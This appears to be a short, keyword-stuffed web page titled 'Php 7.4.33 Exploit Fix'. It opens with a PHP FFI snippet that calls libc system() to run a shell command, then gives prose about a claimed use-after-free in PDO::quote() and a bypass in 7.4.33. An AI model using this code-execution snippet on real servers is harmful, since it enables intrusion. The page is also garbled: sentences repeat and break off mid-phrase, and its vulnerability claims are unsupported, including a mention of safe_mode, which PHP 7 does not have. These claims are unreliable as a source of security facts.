Php 7.4.33 Exploit Fix -

<?php // Exploit for PHP 7.4.33 with FFI enabled $ffi = FFI::cdef("int system(const char *command);", "libc.so.6"); $ffi->system("id > /tmp/pwned"); ?>

:

You might ask: "Why is an EOL version from 2022 more dangerous than PHP 5.6 from 2014?" php 7.4.33 exploit

Use-after-free in PDO::quote() under specific MySQLnd configurations. Discovered: August 2022. Relevance to 7.4.33: The patch for this CVE was released in PHP 7.4.30, but security researchers noted a bypass method in 7.4.33 due to an incomplete fix in the Zend Engine memory manager. Exploitability: Medium. Requires ability to send malformed SQL queries via a manipulated persistent connection. Impact: Denial of Service leading to potential heap spraying for code execution. Exploitability: Medium

While no "silver bullet" RCE affects every 7.4.33 installation, several proven exploit chains target specific configurations or extensions common to that era. While no "silver bullet" RCE affects every 7

Even open_basedir and safe_mode (deprecated) do not protect against FFI if the attacker can write PHP code. This is less a CVE and more a configuration earthquake .